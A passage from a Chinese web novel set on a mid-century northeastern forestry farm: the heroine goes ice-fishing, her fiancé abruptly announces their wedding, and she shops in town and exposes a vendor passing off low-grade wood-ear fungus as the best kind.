严雪掩下眸,弯唇笑了笑,“暂时就这些,不过我随时保留追加的权利。”
这让祁放目光在她脸上停了片刻,似是探究,又似乎什么都没有,“那就尽快,我年后还得上山,三四月雪化才能下来。”
“那正好跟春彩说清楚,省的她总跟我推荐她哥哥。”严雪笑道。
她觉得祁放这人冷归冷,但比想象中好说话多了。她提什么条件他都答应,自己却一个都没提。
没想到不过是句玩笑,一直神色淡淡的男人却突然一滞,“你说刘卫国?”
祁放这才记起来,当初别人猜严雪是他妹子,他好像默认了。刘卫国问他严雪有没有对象,他也随口说了个“没”……
刚思及此,走廊里就传来了杂乱的脚步声。
没多久,刘春彩兴奋的小脸出现在了房门的小窗上,“严雪姐我把我哥带过来了,咱们去凿冰窟窿钓鱼啊~”
11. 钓鱼
几分钟后,严雪被刘春彩拉着,一马当先走在前面。
刘卫国和祁放稍微落后,一个才洗了澡又打理了头发胡子,看着的确浓眉大眼精神了不少,一个一如既往地冷淡沉默。
“我哥也挺好看的,我没说错吧?”刘春彩自以为小声地拐拐严雪。
被她用期待的眼神看着,严雪也就回了下头,状似认真打量,“是挺好看,长得像刘大娘。”
她话声更小,刘卫国却是个自来熟的,立即接道:“我长得其实像我舅。”
当时祁放就掀眸看了他一眼,瞬间让严雪想到刚在招待所提到刘卫国时,男人那个有些微妙的表情。
严雪可没有帮人解释的好品质,自然地转回去,问刘春彩:“冬天还可以钓鱼?”
“可以啊,”刘春彩说,“不过得会找地方,还得会做饵,不是谁都能钓的。”
小姑娘显然特地选了个能突出自家哥哥长处的项目,“弄这个全林场就没几个人比我哥更厉害,不信你问祁放哥,他以前也见过。”
真的,严雪都想回头问一句:“是吗?”看看祁放的表情了。
不过没等她有动作,刘卫国已经道:“那是你嘴馋,又不好意思说,故意拉祁放做幌子。”
说着话几人已经快走到河边,远远望去冰面上好几个打水凿出来的冰窟窿。
刘卫国却没有直奔主支,而是绕了个弯,选定下游分支,在一个水缓的地方开始凿。
“冬天水里缺氧,一凿开鱼都会凑到水面呼吸,一钓一个准儿。”
冰面有点厚,他和祁放两个人拿着铁签子一起凿,刘春彩还上手试了试,又没奈何地放开,半晌才凿出来一个不大的窟窿。
刘卫国把自制的鱼竿挂上饵料,刚放下去没多久,就勾上来一条尺余长的鳌花鱼。
“这得有一斤了吧?”严雪估算了下。
这种鱼她知道,鸭绿江鱼的一种,属食肉鱼类,因其肉质鲜美,一直挺贵的,常见的也就六七两重的样子。
刘卫国却道:“也就一斤沉吧,要论大还得是鲤鱼。鸭绿江每年都能钓上来二三十斤的,鱼身有腰粗,鱼鳞跟小镜子那么大,只能切了块卖,还不一定能卖完,最后都供给单位了,咱们林场以前就买过。”
说着鳌花往冰面上一甩,继续挂饵,鱼竿直接递给了严雪,“你也试试。”
“你怎么不叫我试试?”刘春彩不满。
刘卫国头也没抬,“你能有那个耐心烦?每次钓一会儿就把鱼钩拿起来看看,有鱼也跑了。”
刘春彩一听更不高兴,还欲再争辩几句,想到什么又不吱声了,只怂恿严雪,“严雪姐你快试试。”
严雪也不扭捏,蹲下/身接过了鱼竿,问刘卫国:“怎么弄?”
为了拿得稳,她甚至摘了手套,白皙纤细的手指就缩在袖子里,一动不动握着钓竿,仿佛感觉不到冷似的。
也因为这种专注,鱼竿一动就被她感知到了,适时甩上来一条一拿多长的鱼儿。
刘春彩辨认了一下,“是鲫鱼!”那声音,比她哥刚才钓到鳌花时还激动。
就是太激动了,不免传得远了些,立马有变声期的公鸭嗓在岸边响起,“鲫鱼有啥好高兴的?没见过世面。”
是几个和刘春彩差不多大的男孩子,刘春彩当时便瞪了回去,“我乐意!你管得着吗?”
几人一阵笑,明明看到刘卫国和祁放就在场,也不打怵,还笑着拎了拎手里的冰鞋,“钓鱼有啥好玩儿的?还不如跟我们去滑冰。”
“滑冰才没意思,我就喜欢钓鱼!”刘春彩又瞪了对方一眼,转过身拿背对着他们。
后面几个人再怎么说,她也不肯转头,更不肯接话。等人走远了,才抬起脑袋朝那边望了一眼。
严雪离得近,分明从她眼神中看到了羡慕,还有丝难以隐藏的黯然。
来林场这些天,好像的确没见她去河上滑过冰,刘家其他孩子也不去,明明用木头和八号铁丝就能做出最简单的冰鞋。
冰窟窿边一时有些安静,刘卫国正要岔开话题,“看这回我给你们钓个大的。”一直没怎么做声的祁放也开口了,“过两天能不能再钓一回?”
“咋了?你要吃?”刘卫国有些意外,祁放可从来不是那好吃的人。
然后他就听祁放轻描淡写说:“过两天我和严雪结婚,缺菜。”
“啪!”
刘卫国手上的鱼竿掉了。
“鱼竿鱼竿!”刘春彩下意识提醒,喊完才后知后觉,“啥?你跟严雪姐结婚?”
兵荒马乱,简直是兵荒马乱。
鱼竿虽然被刘卫国眼明手快抢了回来,装饵料的小盒却被带翻,全撒进水里便宜了那些傻鱼。
于是这鱼也不用钓了,滑不滑冰的更是再没人在意,刘卫国把东西一收,直接将祁放拉去一边拷问。
刘春彩打击更大,看好的嫂子人选就这么被抢了,回到家还一直在念叨:“不是亲戚家妹妹吗?咋又要结婚?”
刘大牛媳妇倒是早看出来了,“亲妹妹也没有大老远跑哥哥这来,一住好多天的,除非想在这找对象。可真要好到能奔着他来这边找对象,小祁以前怎么也该提过,你见他提过吗?”
“那他咋不早说?”刘春彩扁着嘴,显然还很不高兴。
刘卫国从河边回来后,也摊平四肢躺在了家里温暖的抗上,“对啊,我问他妹子有没有对象,他还跟我说没有。”
“八字还没一撇呢,就到处嚷嚷,万一没成咋办?”
刘大牛媳妇就坐在旁边缠线,闻言白了儿子一眼,“再说人家的确没对象,成了直接结婚,不成回家。“
“那小子可不是这么说的,他说未婚夫不算对象。”
刘卫国哼哼,立马又被亲妈白了眼,“你整这一死出,咋啦?看上人家小严了?”
“我那不是以为真是他妹子吗?”
刘卫国才说完,就被刚收拾完鱼进来的自家老爸踢了脚,“瞧你那点出息,见着个好看姑娘就惦记。”
“你不惦记?你不惦记给我姥家挑了两年水……”
“臭小子胆子肥了!”
一听刘大牛声音都变了,刘卫国爬起来就跑。
“才下山就闹腾,也不嫌乎类。”刘大牛媳妇把缠好的线丢进针线筐,大线轴塞进柜子里,抬头看了眼墙上的阳历牌,“年前就这几天,年后初八上班,怎么偏选在这个时候?时间太紧了。”
严雪拿着本子坐在写字桌前,也觉得这时间有点紧。
招待所实在不方便说话,祁放回去看过人都差不多回家过年了,便把严雪带到了宿舍。
这边条件要比山上好不少,不仅有炕,还有写
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字桌和板凳,桌上恭恭敬敬放了本领导人语录,供大家学习。
严雪是个行动力强,又做事有条理的,进来摘了围巾手套,就开始盘算,“就这十三四天时间,过年肯定不行,剩下的你觉得哪天合适?”
“如果能租到房子,就腊月二十八。”祁放弯身在柜子里找着东西。
严雪看了眼日历,“二月十四号啊。”
“不好?”
倒不是不好,而是这个日期太凑巧,大名鼎鼎的情人节。
不过这年代应该没人知道,更没人会过,严雪在本子上写下来,“就是觉得有点赶,只剩不到五天时间。”
她这么说,祁放也没再问,拿出个一尺见方的木头箱子放到炕上打开,“房子我去找。”
“那我就不管了。”严雪划掉这一项,“家具现打肯定来不及,也先放着,重要的是把行李和衣服做出来。”
话刚落,手边就落下一沓纸票,“布票。”
又几张,“棉花票。”
接着还有工业票,最后是一小摞钱,粗略一看竟然得有三四百。
严雪惊讶了,“你这几年一分没花吗?”
年轻单身男性通常不怎么会过日子,他是怎么攒下这么些的?平时连件衣服都不做的么?
祁放没说话,锁上箱子又放回了柜子里。
严雪也便没再问:“那明天就去趟镇上,先把要用的东西买了。”
“明天恐怕不行。”
“你不是放假了?”严雪诧异抬头。
窗外光线渐暗,男人背对着光,乍一看去也不知道是否被问得沉默了下,“林场安排我上山看机库,我得让他们另安排人,明天不一定能安排好。”
所以他这是对自己多没自信,下意识便觉得她来看过后会悔婚?
严雪疑惑地打量他片刻,见他始终垂眸,自己也收回视线,“那我自己去,你要是还有时间就去找找房子。”
估计要买的东西不少,她还特地去刘家借了个爬犁。
不是那个大的,是半米来宽的小的,刚好能坐下一个人,拖东西也不过一两百斤。
去的时候没见到刘春彩,倒是刘卫国看起来一切如常,还帮着刘大牛媳妇把她那两袋松子搬了出来。
估计刘大牛媳妇也不知道祁放要去看机库,还以为是两个人一起。不然听说严雪要去镇上,搞不好会提出陪着去。
去一趟镇上既费时间又费钱,两人实在不想麻烦对方,也就没解释,由祁放先将东西拖回去,第二天早上再送上小火车。
“搬不动就找乘务员帮忙。”男人将东西放好,还低声嘱咐了句。
严雪还记得自己当初是怎么被小火车强行带走的,朝他摆手,“我知道了,你快下去吧,别一会儿下不去了。”
这是真不在意有没有人陪着?
祁放看她一眼,转身下车了。
严雪还记得这年代车上小偷不少,除了买票的四毛钱,剩下的都塞进了缝在衣服内里的口袋,只留意着爬犁和松子。
车子刚开始晃动,最后一个人也上来了,将背筐放在她对面的座位。
严雪本是随意一瞟,没想到对方刚好也朝她望来,两人四目相对,严雪的眼睛当时就眯了起来。
哟呵,老熟人!
或许更该说是……老仇人……
12. 木耳
对这位连小孩子都欺负的王爷爷,严雪过后可是听说了不少。
他家住得离刘家不远,有时候刘老爷子打的猎物较多,还会分给他们家一些,所以刘大牛媳妇才会找了他帮忙。
但这位显然不只是光吃东西不办事,关键时刻还反坑你一把,也是比较少见了。
而且刘大牛媳妇听了事情的经过,虽然生气,也不好真上门和一个长辈计较。没想到长辈却先和她计较上了,一回去就大骂刘春彩和严雪不是人,盯着抢他的生意,真实上演什么叫恶人先告状。
事情传到刘家人耳朵里,差点没把刘大牛媳妇气死,后来在外面碰上王家人,都没个好脸色。
此刻两人在小火车上碰到,对方这显然是又去镇上卖东西,严雪保持着脸上的微笑不动声色。
王老头也认出了严雪,冷哼一声,坐下来将背筐放到脚边的时候,差点没给地上砸出个坑。
结果刚放完,乘务员就来了,“年底人多,东西能放架子上放架子上,能放座底下放座底下。”一眼就看到了老头儿的背筐。
王老头只能将背筐拿起来放到了架子上,乘务员又指地上的麻袋,“这俩是谁的?也收一下。”
这么重的东西可没法往上放,严雪直接将麻袋放倒,塞进了座位底下。
乘务员没再说什么,提醒着注意个人财务走了,王老头的目光却落在了那两个麻袋上,“你这是松子?”
严雪只是笑,“您放心,不抢您的生意。”
“你也得有那本事。”老头儿一哼,臭着脸不吱声了。
年底果然人多,小火车才行过两站,就连过道里都站满了人,车厢里不时传来家禽的叽喳,堪比一个迷你小市场。
严雪下车的时候,费了不少劲才把两个麻袋搬到爬犁上,拖着到了车门口,向下搬又成了问题。
乘务员见状,赶紧帮她提了一个。
严雪道过谢,刚要回头拿第二个,王老头已经跟个年轻人一起,将东西拎了下来,“能不能快点儿?这都等着下车呢,你堵这别人咋走?”
语气很不好,下来将麻袋摔上爬犁,就被着背筐走了。
这么一来,倒弄得那年轻人有点尴尬,严雪朝对方笑笑,“多谢。”等人一走就把爬犁拖倒角落,仔细检查了一遍。
她可不信王老头会有那么好心,就算嫌她太慢耽误时间,以那位的风格也未必会伸手,站在车上大声催促骂骂咧咧才更像他的风格。
果然被她查出问题来了,王老头和年轻人拎下来那个麻袋,有一个角破了道口子。
口子大概一寸长,破口处整齐,像是被什么割出来的。这要是她没检查,就这么拖着走,里面的松子肯定会撒出来,因为口子不大撒得不快,一时半会儿还很难发现。
这还当她真是什么都不懂的小姑娘,想怎么收拾就怎么收拾了?
严雪差点被气笑。
上辈子她混市场的时候,那才真是什么不入流的手段都见过,将麻袋破了口子那一角打上结,如常去了收购站。
收购站门前便有牌子,写了收什么,都多少钱收。严雪看了下,发现最值钱的是各种皮货,和人参、鹿茸、熊胆、天麻这类药材。
松子便宜很多,每斤三毛五。但凡是都架不住个多,两袋子卖下来,她还是净赚四十几块。
这都赶上祁放一个月工资了,还只是她一人的份儿,难怪李树武为了搞副业那么赶工,最终害了郭长安。
严雪将钱收好,又将倒空的麻袋折好绑在爬犁上,转身去了供销社。
这回她果断给自己买了双棉乌拉,然后才是做衣服和行李要用的布和棉花。
像毛巾、脸盆、暖瓶这类林场商店就能买到的,她直接跳过,剩下的算了算,还是狠狠心花二百五十块买了两块手表。
现在流行的“三转一响”,缝纫机她不会用,自行车林场用不着,收音机白天没有电。看时间的话小座钟倒是便宜,几十块就够了,但她和“祁放”要是都出去工作,在家的时间有限,还是手表更实用。
手表贴身收着,其他东西装进麻袋绑在爬犁上,严雪又朝小市场走去,看有没有什么能买来办酒席的。
刚进去,她便和王老头碰上了。只不过老头儿这回卖的不是冻蘑,而是黑木耳。
对方摊位前站着个男青年,二十出头的年纪,中等个子,身上也穿着林场肥肥大大的蓝灰色制服。长得还不错,就是眼睛有点小,还是个肿眼泡,严重拉低了颜值,看着也有些憨。
男青年蹲在那研究了半天,也没研究出个名堂,竟然问王老头送人买这个行不行。
这一看就是林场新招没几年的,什么都不懂,老油子还用出来买木耳,自己就能想办法弄到。
老头儿立马热情地拿起秤,“送人买这个就对了,我这都是最好的春耳,肉厚实,泡了还出数。不像那些伏耳秋耳,一大把也泡不出来多少,自己吃都不合适。”
不等对方说到底要不要买便称了半秤,“你看这些够不够?一斤六两。”
那男青年显然不是个善言辞的,竟然没想过还能拒绝,纠结半天也只说出一句:“一斤就行。”
“一斤哪够?送人买太少了也不好看不是。”
王老头根本没听,拿了报纸就要给他包,刚准备倒,一只素白的小手伸过来,在倾斜的秤口抓了一把。
顺着对方的动作,入眼的是一个熟悉的娇小身影。
严雪拨着手里的木耳,笑盈盈地问:“你说这是春耳?”表情揶揄,像是在说我看你挺会编啊。
王老头心里当即一沉,想想又觉得完全没有必要。
那小伙子一个林场职工都不会挑木耳,她一个外地来的小丫头能懂啥?还不是发现麻袋破了,故意来找他茬?
这他可不怕,她又没有证据,能空口白牙说是他弄的,他也能说是他诬赖。
老头儿斜眼睨过去,“这不是春耳,难道是秋耳?”
说着把秤往严雪手下一送,让严雪放回来,“要买就等会儿,不买拉倒。这别人称好的,你伸手就抓。”
“我没事儿,你可以先给这位女同志称。”那男青年脾气好得很,一点没发现两人间的暗涌。
严雪也就没把手里那把木耳放回去,而是似模似样打量起来,“我怎么看着就不像春耳呢?”
“你来找茬的是吧?”王老头一把将秤摔回了袋子里。
老头儿这一声不小,附近立马有人看了过来。因为他是老人家,怀疑的视线更是纷纷落在了两个年轻人身上。
那男青年显然不习惯这种注视,压低声音打圆场,“有话好好说,好好说。”
“是我不好好说吗?是她搁这儿
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找茬!”一有人打圆场,王老头声音更大了,“咋了?看我老头子好欺负是吧?”
“可能这位女同志不太懂……”
男青年还试图帮严雪解释,严雪脸上却似笑非笑,“我不过是问一嘴,你急什么?难不成我说对了?”
“少他妈放屁!”老头儿开始飙脏话了。
严雪也不打断,任由他口沫横飞发泄完,才笑容一敛,“春耳是入伏前生长的木耳,朵大,肉厚,色泽灰黑,吸水膨胀率大。不像伏耳肉薄,秋耳朵小,吸水膨胀率低,我没说错吧?”
王老头没想到她还真懂,一下子被噎住,半晌才强撑着道:“那又怎么样?”
“那您应该也知道,三种木耳里面春耳质量最好,都是采大留小,让未成熟的耳芽继续生长,只有伏耳和秋耳会大耳小耳一起采。”
别的严雪不一定知道,但她上辈子又要赚钱又要照看她爸,时间有限只能开了个网店,卖的就是蜂蜜、木耳、人参这些山货。
因为更熟悉,她才找了姑姥姥帮她找对象,才不远千里跑到这寒冷的关外来。
严雪看向老头儿,见对方有话要说又紧接着道:“我就当您懒得再去一次,大的小的一起采了,您这木耳颜色也太黑了点。”
她将手心摊开,掌心几朵木耳大小不一,颜色深黑,按照她刚才所说来分辨,的确不像是春耳。
别说刚刚差点就买了的男青年,附近围观的都有人不顾王老头难看的脸色,假装要买抓起一把细看。
严雪将手里的木耳放回去,“看颜色不像是春耳,看大小又不像是秋耳,您这是品质最差的伏耳吧?把伏耳当成春耳高价卖,我可不敢买。”
说完也不管周围人的反应,拉起爬犁便走。
麻袋那事她的确没有证据,但她也不是非得就此和对方讨一个说法,谁叫对方上赶着往她手里送小辫子呢。
围观那些人也不是她喊来的,会不会遭人议论,又会不会影响生意,自然也不关她的事。
严雪眼睛尖,已经看到不远处有人在卖野猪肉,赶紧加快脚步挤了进去。
要论香,野猪肯定比不上家猪,尤其是瘦肉,肉质特别粗糙。
但这东西不用肉票,还不限量,卖得也不贵,肥肉更是能拿回去榨油。严雪一问才六毛钱一斤,一口气买了二十多斤放在爬犁上。
剩下就没什么了,严雪逛到下午,就回森铁车站准备坐小火车回去。
上车的时候,她不禁想起那天单秋芳送她,来找人那小姑娘穿的冰鞋,又想到了刘春彩。
事后她问过“齐放”,听说刘家孩子之所以不去滑冰,是因为刘春彩之前还有个二哥,就是滑冰时掉进冰窟窿里没的。
主□□边打水的冰窟窿多,又不像钓鱼凿得小,弄不好很容易掉进去。如单秋芳家大强那样被及时救上来还好,刘春彩二哥因为救得不及时,捞上来不到半天就没了,刘家当然不敢再让孩子去滑冰。
别说刘家,这事一出,各家看孩子都比之前紧了。冰窟窿附近,还有春天河要开化的时候,都不叫孩子去河里滑冰放爬犁。
不过想滑冰,也不是一定得到冰面上去……
反正回去还得一个多小时,严雪拿出昨天写购物清单的本子,按在腿上开始勾画,没注意有人路过这边时犹豫了下,最终在他身旁的过道里站定。